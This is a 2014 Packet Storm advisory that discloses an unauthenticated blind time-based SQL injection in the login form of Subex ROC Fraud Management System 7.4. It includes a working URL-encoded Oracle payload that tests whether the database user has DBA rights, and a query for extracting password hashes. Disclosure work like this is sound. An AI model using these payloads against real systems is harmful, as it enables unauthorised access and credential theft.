Subex ROC Fraud Management System 7.4 SQL Injection

2014-09-01T00:00:00
ID PACKETSTORM:128100
Type packetstorm
Reporter Anastasios Monachos
Modified 2014-09-01T00:00:00

Description

                                        
                                            `=======================================================================================  
Subex ROC Fraud Management System v7.4 - Unauthenticated Blind-Time Based SQL Injection  
=======================================================================================  
  
Affected Software: Subex ROC FMS v7.4 (and probably earlier versions)  
Remote : Remote  
Severity : Very High  
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]  
  
  
[Summary]  
  
A parameter at the login page of Subex ROC Fraud Management platform is vulnerable to blind-time based SQL injection.  
  
  
[Vulnerability Details]  
  
Authentication : The exploitation can be performed by any unauthenticated user.  
Page : http://ip:port/login/login  
Backend DB : Oracle  
POST Parameter : ranger_user[name]  
  
Sample HTTP POST Request - Data only:  
-------------------------------------  
ranger_user%5Bname%5D=admin%27%20AND%203402%3D%28CASE%20WHEN%20%28ASCII%28SUBSTRC%28%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20GRANTED_ROLE%20FROM%20DBA_ROLE_PRIVS%20WHERE%20GRANTEE%3DUSER%20AND%20GRANTED_ROLE%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%3DCHR%2868%29%7C%7CCHR%2866%29%7C%7CCHR%2865%29%29%20THEN%201%20ELSE%200%20END%29%20FROM%20DUAL%29%2C1%2C1%29%29%20%3E%2047%29%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28122%29%7C%7CCHR%28102%29%7C%7CCHR%28100%29%7C%7CCHR%28114%29%2C5%29%20ELSE%203402%20END%29%20AND%20%27a%27%3D%27a&ranger_user%5Bpassword%5D=secuid0&commit=Login&ranger_user_i2%5Bfeatures%5D=0  
  
Effect, the page will load with a delay of 5 seconds if the current database user is a member of the database administrators.  
  
Using similar SQL statements an unauthenticated malicious visitor is able to enumerate various information from the backend database including those of usernames and password hashes (select ranger_user_name,hashed_password from ROCDB.PASSWORDS where rownum<2). The hashes can further be cracked and be used to access the application. Obviously if the DB user for the application has enough privileges you may be able to own the whole Oracle server.  
  
  
[Timeline]  
  
09/05/2012 - Advisory created, contacted Subex  
15/05/2012 - Subex responded  
15/05/2012 - Advisory details shared  
17/05/2012 - Subex covered the issue in the latest patch cycle  
30/08/2014 - Advisory published  
`